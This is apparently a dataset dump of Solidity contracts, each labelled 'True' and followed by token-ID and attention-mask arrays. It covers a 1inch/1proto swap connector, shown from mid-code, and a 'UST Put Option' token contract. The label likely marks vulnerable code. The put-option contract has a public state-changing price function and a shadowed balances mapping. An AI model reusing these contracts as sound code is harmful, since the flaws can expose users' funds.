uint _sellAmt18 = convertTo18(_sellDec, _sellAmt);
_slippageAmt = convert18ToDec(_buyDec, wmul(unitAmt, _sellAmt18));
}
function convertToTokenInterface(address[] memory tokens) internal pure returns(TokenInterface[] memory) {
TokenInterface[] memory _tokens = new TokenInterface[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_tokens[i] = TokenInterface(tokens[i]);
}
return _tokens;
}
}
contract OneProtoResolver is OneHelpers {
struct OneProtoData {
TokenInterface sellToken;
TokenInterface buyToken;
uint _sellAmt;
uint _buyAmt;
uint unitAmt;
uint[] distribution;
uint disableDexes;
}
function oneProtoSwap(
OneProtoInterface oneProtoContract,
OneProtoData memory oneProtoData
) internal returns (uint buyAmt) {
TokenInterface _sellAddr = oneProtoData.sellToken;
TokenInterface _buyAddr = oneProtoData.buyToken;
uint _sellAmt = oneProtoData._sellAmt;
uint _slippageAmt = getSlippageAmt(_buyAddr, _sellAddr, _sellAmt, oneProtoData.unitAmt);
uint ethAmt;
if (address(_sellAddr) == getEthAddr()) {
ethAmt = _sellAmt;
} else {
_sellAddr.approve(address(oneProtoContract), _sellAmt);
}
uint initalBal = getTokenBal(_buyAddr);
oneProtoContract.swap.value(ethAmt)(
_sellAddr,
_buyAddr,
_sellAmt,
_slippageAmt,
oneProtoData.distribution,
oneProtoData.disableDexes
);
uint finalBal = getTokenBal(_buyAddr);
buyAmt = sub(finalBal, initalBal);
require(_slippageAmt <= buyAmt, "Too much slippage");
}
struct OneProtoMultiData {
address[] tokens;
TokenInterface sellToken;
TokenInterface buyToken;
uint _sellAmt;
uint _buyAmt;
uint unitAmt;
uint[] distribution;
uint[] disableDexes;
}
function oneProtoSwapMulti(OneProtoMultiData memory oneProtoData) internal returns (uint buyAmt) {
TokenInterface _sellAddr = oneProtoData.sellToken;
TokenInterface _buyAddr = oneProtoData.buyToken;
uint _sellAmt = oneProtoData._sellAmt;
uint _slippageAmt = getSlippageAmt(_buyAddr, _sellAddr, _sellAmt, oneProtoData.unitAmt);
OneProtoInterface oneSplitContract = OneProtoInterface(getOneProtoAddress());
uint ethAmt;
if (address(_sellAddr) == getEthAddr()) {
ethAmt = _sellAmt;
} else {
_sellAddr.approve(address(oneSplitContract), _sellAmt);
}
uint initalBal = getTokenBal(_buyAddr);
oneSplitContract.swapMulti.value(ethAmt)(
convertToTokenInterface(oneProtoData.tokens),
_sellAmt,
_slippageAmt,
oneProtoData.distribution,
oneProtoData.disableDexes
);
uint finalBal = getTokenBal(_buyAddr);
buyAmt = sub(finalBal, initalBal);
require(_slippageAmt <= buyAmt, "Too much slippage");
}
}
contract OneInchResolver is OneProtoResolver {
function checkOneInchSig(bytes memory callData) internal pure returns(bool isOk) {
bytes memory _data = callData;
bytes4 sig;
// solium-disable-next-line security/no-inline-assembly
assembly {
sig := mload(add(_data, 32))
}
isOk = sig == getOneInchSig();
}
struct OneInchData {
TokenInterface sellToken;
TokenInterface buyToken;
uint _sellAmt;
uint _buyAmt;
uint unitAmt;
bytes callData;
}
function oneInchSwap(
OneInchData memory oneInchData,
uint ethAmt
) internal returns (uint buyAmt) {
TokenInterface buyToken = oneInchData.buyToken;
(uint _buyDec, uint _sellDec) = getTokensDec(buyToken, oneInchData.sellToken);
uint _sellAmt18 = convertTo18(_sellDec, oneInchData._sellAmt);
uint _slippageAmt = convert18ToDec(_buyDec, wmul(oneInchData.unitAmt, _sellAmt18));
uint initalBal = getTokenBal(buyToken);
// solium-disable-next-line security/no-call-value
(bool success, ) = address(getOneInchAddress()).call.value(ethAmt)(oneInchData.callData);
if (!success) revert("1Inch-swap-failed");
uint finalBal = getTokenBal(buyToken);
buyAmt = sub(finalBal, initalBal);
require(_slippageAmt <= buyAmt, "Too much slippage");
}
}
contract OneProtoEventResolver is OneInchResolver {
event LogSell(
address indexed buyToken,
address indexed sellToken,
uint256 buyAmt,
uint256 sellAmt,
uint256 getId,
uint256 setId
);
function emitLogSell(
OneProtoData memory oneProtoData,
uint256 getId,
uint256 setId
) internal {
bytes32 _eventCode;
bytes memory _eventParam;
emit LogSell(
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
_eventCode = keccak256("LogSell(address,address,uint256,uint256,uint256,uint256)");
_eventParam = abi.encode(
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
emitEvent(_eventCode, _eventParam);
}
event LogSellTwo(
address indexed buyToken,
address indexed sellToken,
uint256 buyAmt,
uint256 sellAmt,
uint256 getId,
uint256 setId
);
function emitLogSellTwo(
OneProtoData memory oneProtoData,
uint256 getId,
uint256 setId
) internal {
bytes32 _eventCode;
bytes memory _eventParam;
emit LogSellTwo(
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
_eventCode = keccak256("LogSellTwo(address,address,uint256,uint256,uint256,uint256)");
_eventParam = abi.encode(
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
emitEvent(_eventCode, _eventParam);
}
event LogSellMulti(
address[] tokens,
address indexed buyToken,
address indexed sellToken,
uint256 buyAmt,
uint256 sellAmt,
uint256 getId,
uint256 setId
);
function emitLogSellMulti(
OneProtoMultiData memory oneProtoData,
uint256 getId,
uint256 setId
) internal {
bytes32 _eventCode;
bytes memory _eventParam;
emit LogSellMulti(
oneProtoData.tokens,
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
_eventCode = keccak256("LogSellMulti(address[],address,address,uint256,uint256,uint256,uint256)");
_eventParam = abi.encode(
oneProtoData.tokens,
address(oneProtoData.buyToken),
address(oneProtoData.sellToken),
oneProtoData._buyAmt,
oneProtoData._sellAmt,
getId,
setId
);
emitEvent(_eventCode, _eventParam);
}
}
contract OneInchEventResolver is OneProtoEventResolver {
event LogSellThree(
address indexed buyToken,
address indexed sellToken,
uint256 buyAmt,
uint256 sellAmt,
uint256 getId,
uint256 setId
);
function emitLogSellThree(
OneInchData memory oneInchData,
uint256 setId
) internal {
bytes32 _eventCode;
bytes memory _eventParam;
emit LogSellThree(
address(oneInchData.buyToken),
address(oneInchData.sellToken),
oneInchData._buyAmt,
oneInchData._sellAmt,
0,
setId
);
_eventCode = keccak256("LogSellThree(address,address,uint256,uint256,uint256,uint256)");
_eventParam = abi.encode(
address(oneInchData.buyToken),
address(oneInchData.sellToken),
oneInchData._buyAmt,
oneInchData._sellAmt,
0,
setId
);
emitEvent(_eventCode, _eventParam);
}
}
contract OneProtoResolverHelpers is OneInchEventResolver {
function _sell(
OneProtoData memory oneProtoData,
uint256 getId,
uint256 setId
) internal {
uint _sellAmt = getUint(getId, oneProtoData._sellAmt);
oneProtoData._sellAmt = _sellAmt == uint(-1) ?
getTokenBal(oneProtoData.sellToken) :
_sellAmt;
OneProtoInterface oneProtoContract = OneProtoInterface(getOneProtoAddress());
(, oneProtoData.distribution) = oneProtoContract.getExpectedReturn(
oneProtoData.sellToken,
oneProtoData.buyToken,
oneProtoData._sellAmt,
5,
0
);
oneProtoData._buyAmt = oneProtoSwap(
oneProtoContract,
oneProtoData
);
setUint(setId, oneProtoData._buyAmt);
emitLogSell(oneProtoData, getId, setId);
}
function _sellTwo(
OneProtoData memory oneProtoData,
uint getId,
uint setId
) internal {
uint _sellAmt = getUint(getId, oneProtoData._sellAmt);
oneProtoData._sellAmt = _sellAmt == uint(-1) ?
getTokenBal(oneProtoData.sellToken) :
_sellAmt;
oneProtoData._buyAmt = oneProtoSwap(
OneProtoInterface(getOneProtoAddress()),
oneProtoData
);
setUint(setId, oneProtoData._buyAmt);
emitLogSellTwo(oneProtoData, getId, setId);
}
function _sellMulti(
OneProtoMultiData memory oneProtoData,
uint getId,
uint setId
) internal {
uint _sellAmt = getUint(getId, oneProtoData._sellAmt);
oneProtoData._sellAmt = _sellAmt == uint(-1) ?
getTokenBal(oneProtoData.sellToken) :
_sellAmt;
oneProtoData._buyAmt = oneProtoSwapMulti(oneProtoData);
setUint(setId, oneProtoData._buyAmt);
emitLogSellMulti(oneProtoData, getId, setId);
}
}
contract OneInchResolverHelpers is OneProtoResolverHelpers {
function _sellThree(
OneInchData memory oneInchData,
uint setId
) internal {
TokenInterface _sellAddr = oneInchData.sellToken;
uint ethAmt;
if (address(_sellAddr) == getEthAddr()) {
ethAmt = oneInchData._sellAmt;
} else {
TokenInterface(_sellAddr).approve(getOneInchTokenTaker(), oneInchData._sellAmt);
}
require(checkOneInchSig(oneInchData.callData), "Not-swap-function");
oneInchData._buyAmt = oneInchSwap(oneInchData, ethAmt);
setUint(setId, oneInchData._buyAmt);
emitLogSellThree(oneInchData, setId);
}
}
contract OneProto is OneInchResolverHelpers {
/**
* @dev Sell ETH/ERC20_Token using 1proto.
* @param buyAddr buying token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAddr selling token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAmt selling token amount.
* @param unitAmt unit amount of buyAmt/sellAmt with slippage.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function sell(
address buyAddr,
address sellAddr,
uint sellAmt,
uint unitAmt,
uint getId,
uint setId
) external payable {
OneProtoData memory oneProtoData = OneProtoData({
buyToken: TokenInterface(buyAddr),
sellToken: TokenInterface(sellAddr),
_sellAmt: sellAmt,
unitAmt: unitAmt,
distribution: new uint[](0),
_buyAmt: 0,
disableDexes: 0
});
_sell(oneProtoData, getId, setId);
}
/**
* @dev Sell ETH/ERC20_Token using 1proto using off-chain calculation.
* @param buyAddr buying token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAddr selling token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAmt selling token amount.
* @param unitAmt unit amount of buyAmt/sellAmt with slippage.
* @param distribution distribution of swap across different dex.
* @param disableDexes disable a dex. (To disable none: 0)
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function sellTwo(
address buyAddr,
address sellAddr,
uint sellAmt,
uint unitAmt,
uint[] calldata distribution,
uint disableDexes,
uint getId,
uint setId
) external payable {
OneProtoData memory oneProtoData = OneProtoData({
buyToken: TokenInterface(buyAddr),
sellToken: TokenInterface(sellAddr),
_sellAmt: sellAmt,
unitAmt: unitAmt,
distribution: distribution,
disableDexes: disableDexes,
_buyAmt: 0
});
_sellTwo(oneProtoData, getId, setId);
}
/**
* @dev Sell ETH/ERC20_Token using 1proto using muliple token.
* @param tokens array of tokens.
* @param sellAmt selling token amount.
* @param unitAmt unit amount of buyAmt/sellAmt with slippage.
* @param distribution distribution of swap across different dex.
* @param disableDexes disable a dex. (To disable none: 0)
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function sellMulti(
address[] calldata tokens,
uint sellAmt,
uint unitAmt,
uint[] calldata distribution,
uint[] calldata disableDexes,
uint getId,
uint setId
) external payable {
OneProtoMultiData memory oneProtoData = OneProtoMultiData({
tokens: tokens,
buyToken: TokenInterface(address(tokens[tokens.length - 1])),
sellToken: TokenInterface(address(tokens[0])),
unitAmt: unitAmt,
distribution: distribution,
disableDexes: disableDexes,
_sellAmt: sellAmt,
_buyAmt: 0
});
_sellMulti(oneProtoData, getId, setId);
}
}
contract OneInch is OneProto {
/**
* @dev Sell ETH/ERC20_Token using 1inch.
* @param buyAddr buying token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAddr selling token amount.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param sellAmt selling token amount.
* @param unitAmt unit amount of buyAmt/sellAmt with slippage.
* @param callData Data from 1inch API.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function sellThree(
address buyAddr,
address sellAddr,
uint sellAmt,
uint unitAmt,
bytes calldata callData,
uint setId
) external payable {
OneInchData memory oneInchData = OneInchData({
buyToken: TokenInterface(buyAddr),
sellToken: TokenInterface(sellAddr),
unitAmt: unitAmt,
callData: callData,
_sellAmt: sellAmt,
_buyAmt: 0
});
_sellThree(oneInchData, setId);
}
}
contract ConnectOne is OneInch {
string public name = "1inch-1proto-v1";
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5511,
1011,
2403,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
8278,
19204,
18447,
2121,
12172,
1063,
3853,
14300,
1006,
4769,
1010,
21318,
3372,
17788,
2575,
1007,
6327,
1025,
3853,
4651,
1006,
4769,
1010,
21318,
3372,
1007,
6327,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1010,
4769,
1010,
21318,
3372,
1007,
6327,
1025,
3853,
12816,
1006,
1007,
6327,
3477,
3085,
1025,
3853,
10632,
1006,
21318,
3372,
1007,
6327,
1025,
3853,
5703,
11253,
1006,
4769,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1065,
8278,
3638,
18447,
2121,
12172,
1063,
3853,
2131,
20023,
2102,
1006,
21318,
3372,
8909,
1007,
6327,
5651,
1006,
21318,
3372,
16371,
2213,
1007,
1025,
3853,
2275,
20023,
2102,
1006,
21318,
3372,
8909,
1010,
21318,
3372,
11748,
1007,
6327,
1025,
1065,
8278,
2724,
18447,
2121,
12172,
1063,
3853,
12495,
2618,
15338,
1006,
21318,
3372,
19400,
13874,
1010,
21318,
3372,
19400,
3593,
1010,
27507,
16703,
2724,
16044,
1010,
27507,
2655,
2850,
2696,
2724,
2850,
2696,
1007,
6327,
1025,
1065,
3206,
5324,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2709,
28855,
14820,
4769,
1008,
1013,
3853,
2131,
11031,
4215,
13626,
1006,
1007,
4722,
5760,
5651,
1006,
4769,
1007,
1063,
2709,
1014,
2595,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
4402,
1025,
1013,
1013,
3802,
2232,
4769,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2709,
3638,
8023,
4769,
1008,
1013,
3853,
2131,
4168,
5302,
20444,
14141,
2099,
1006,
1007,
4722,
5760,
5651,
1006,
4769,
1007,
1063,
2709,
1014,
2595,
2620,
2050,
27009,
16147,
2278,
11329,
2581,
14526,
2497,
21926,
23777,
2278,
16576,
2050,
2575,
7875,
2546,
2549,
2497,
2475,
3676,
7011,
10322,
2692,
2575,
2683,
28311,
2546,
1025,
1013,
1013,
16021,
15464,
6633,
10253,
4769,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2709,
16021,
2696,
18697,
3372,
4769,
1012,
1008,
1013,
3853,
2131,
18697,
12380,
14141,
2099,
1006,
1007,
4722,
5760,
5651,
1006,
4769,
1007,
1063,
2709,
1014,
2595,
2475,
10354,
2581,
5243,
2575,
27421,
2683,
14526,
2692,
19481,
2546,
2509,
15878,
2487,
2098,
2620,
2683,
2629,
27421,
28756,
2683,
2475,
2278,
23499,
8586,
3676,
2683,
2581,
1025,
1013,
1013,
16021,
2696,
18697,
3372,
4769,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2131,
21318,
3372,
3643,
2013,
16021,
15464,
6633,
10253,
3206,
1012,
1008,
1013,
3853,
2131,
20023,
2102,
1006,
21318,
3372,
2131,
3593,
1010,
21318,
3372,
11748,
1007,
4722,
5651,
1006,
21318,
3372,
2709,
10175,
1007,
1063,
2709,
10175,
1027,
2131,
3593,
1027,
1027,
1014,
1029,
11748,
1024,
3638,
18447,
2121,
12172,
1006,
2131,
4168,
5302,
20444,
14141,
2099,
1006,
1007,
1007,
1012,
2131,
20023,
2102,
1006,
2131,
3593,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2275,
21318,
3372,
3643,
1999,
16021,
15464,
6633,
10253,
3206,
1012,
1008,
1013,
3853,
2275,
20023,
2102,
1006,
21318,
3372,
2275,
3593,
1010,
21318,
102
] | [
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
contract Owned {
/// 'owner' is the only address that can call a function with
/// this modifier
address public owner;
address internal newOwner;
///@notice The constructor assigns the message sender to be 'owner'
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
///change the owner
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
/// accept the ownership
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ERC20Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// user tokens
mapping (address => uint256) public balances;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract PUST is ERC20Token {
string public name = "UST Put Option";
string public symbol = "PUST9";
uint public decimals = 0;
uint256 public totalSupply = 0;
uint256 public topTotalSupply = 1000 * 130000;
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowances[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract ExchangeUST is SafeMath, Owned, PUST {
// Exercise End Time 10/1/2018 0:0:0
uint public ExerciseEndTime = 1538323200;
uint public exchangeRate = 130000; //percentage times (1 ether)
//mapping (address => uint) ustValue; //mapping of token addresses to mapping of account balances (token=0 means Ether)
// UST address
address public ustAddress = address(0xFa55951f84Bfbe2E6F95aA74B58cc7047f9F0644);
// offical Address
address public officialAddress = address(0x472fc5B96afDbD1ebC5Ae22Ea10bafe45225Bdc6);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event exchange(address contractAddr, address reciverAddr, uint _pustBalance);
event changeFeeAt(uint _exchangeRate);
function chgExchangeRate(uint _exchangeRate) public onlyOwner {
require (_exchangeRate != exchangeRate);
require (_exchangeRate != 0);
exchangeRate = _exchangeRate;
}
function exerciseOption(uint _pustBalance) public returns (bool) {
require (now < ExerciseEndTime);
require (_pustBalance <= balances[msg.sender]);
// convert units from ether to wei
uint _ether = safeMul(_pustBalance, 7 * 10 ** 12);
require (address(this).balance >= _ether);
// UST amount
uint _amount = safeMul(_pustBalance, 10 ** 18);
require (PUST(ustAddress).transferFrom(msg.sender, officialAddress, _amount) == true);
balances[msg.sender] = safeSub(balances[msg.sender], _pustBalance);
balances[officialAddress] = safeAdd(balances[officialAddress], _pustBalance);
msg.sender.transfer(_ether);
emit exchange(address(this), msg.sender, _pustBalance);
}
}
contract USTputOption is ExchangeUST {
// constant
uint public initBlockEpoch = 40;
uint public eachUserWeight = 10;
uint public lastEpochBlock = block.number + initBlockEpoch;
uint public price1=1750 * 9995 * 10**9/10000;
uint public price2=250 * 99993 * 10**9/100000;
uint public initEachPUST = 2 * 10**12 wei;
uint public eachPUSTprice = initEachPUST;
uint public epochLast = 0;
event buyPUST (address caller, uint PUST);
event Reward (address indexed _from, address indexed _to, uint256 _value);
function () payable public {
require (now < ExerciseEndTime);
//require (topTotalSupply > totalSupply);
//bool firstCallReward = false;
uint epochNow = whichEpoch(block.number);
if(epochNow != epochLast) {
lastEpochBlock = safeAdd(lastEpochBlock, ((block.number - lastEpochBlock)/initBlockEpoch + 1)* initBlockEpoch);
eachPUSTprice = calcpustprice(epochNow, epochLast);
epochLast = epochNow;
}
uint _value = msg.value;
require(_value >= 1 finney);
uint _PUST = _value / eachPUSTprice;
require(safeMul(_PUST, eachPUSTprice) <= _value);
if (safeAdd(totalSupply, _PUST) > topTotalSupply) {
_PUST = safeSub(topTotalSupply, totalSupply);
}
uint _refound = safeSub(_value, safeMul(_PUST, eachPUSTprice));
if(_refound > 0) {
msg.sender.transfer(_refound);
}
officialAddress.transfer(safeSub(_value, _refound));
balances[msg.sender] = safeAdd(balances[msg.sender], _PUST);
totalSupply = safeAdd(totalSupply, _PUST);
emit Transfer(address(this), msg.sender, _PUST);
// calc last epoch
lastEpochBlock = safeAdd(lastEpochBlock, eachUserWeight);
}
//
function whichEpoch(uint _blocknumber) internal view returns (uint _epochNow) {
if (lastEpochBlock >= _blocknumber ) {
_epochNow = epochLast;
} else {
_epochNow = epochLast + (_blocknumber - lastEpochBlock) / initBlockEpoch + 1;
}
}
function calcpustprice(uint _epochNow, uint _epochLast) public returns (uint _eachPUSTprice) {
require (_epochNow - _epochLast > 0);
uint dif = _epochNow - _epochLast;
uint dif100 = dif/100;
dif = dif - dif100*100;
for(uint i=0;i<dif100;i++)
{
price1 = price1-price1*5/100;
price2 = price2-price2*7/1000;
}
price1 = price1 - price1*5*dif/10000;
price2 = price2 - price2*7*dif/100000;
_eachPUSTprice = price1+price2;
}
// only owner can deposit ether into put option contract
function DepositETH(uint _PUST) payable public {
// deposit ether
require (msg.sender == officialAddress);
topTotalSupply += _PUST;
}
// only end time, onwer can transfer contract's ether out.
function WithdrawETH() payable public onlyOwner {
officialAddress.transfer(address(this).balance);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
3079,
1063,
1013,
1013,
1013,
1004,
1001,
4464,
1025,
3954,
1004,
1001,
4464,
1025,
2003,
1996,
2069,
4769,
2008,
2064,
2655,
1037,
3853,
2007,
1013,
1013,
1013,
2023,
16913,
18095,
4769,
2270,
3954,
1025,
4769,
4722,
2047,
12384,
2121,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
9570,
2953,
24022,
1996,
4471,
4604,
2121,
2000,
2022,
1004,
1001,
4464,
1025,
3954,
1004,
1001,
4464,
1025,
3853,
3079,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
2724,
10651,
12384,
2121,
1006,
4769,
1035,
2214,
12384,
2121,
1010,
4769,
1035,
2047,
12384,
2121,
1007,
1025,
1013,
1013,
1013,
2689,
1996,
3954,
3853,
2689,
12384,
2121,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
3954,
999,
1027,
1035,
2047,
12384,
2121,
1007,
1025,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
2709,
2995,
1025,
1065,
1013,
1013,
1013,
5138,
1996,
6095,
3853,
5138,
2638,
12155,
7962,
2121,
1006,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
2047,
12384,
2121,
1007,
1025,
12495,
2102,
10651,
12384,
2121,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
2709,
2995,
1025,
1065,
1065,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1004,
1004,
1039,
1028,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
18715,
2368,
1063,
1013,
1008,
2023,
2003,
1037,
7263,
2689,
2000,
1996,
9413,
2278,
11387,
2918,
3115,
1012,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1025,
2003,
2999,
2007,
1024,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
2023,
8073,
9005,
1037,
2131,
3334,
3853,
2005,
1996,
21948,
6279,
22086,
1012,
2023,
2003,
2333,
2000,
1996,
2918,
3206,
2144,
2270,
2131,
3334,
4972,
2024,
2025,
2747,
7843,
2004,
2019,
7375,
1997,
1996,
9844,
10061,
3853,
2011,
1996,
21624,
1012,
1008,
1013,
1013,
1013,
1013,
2561,
3815,
1997,
19204,
2015,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1013,
1013,
5310,
19204,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
2015,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
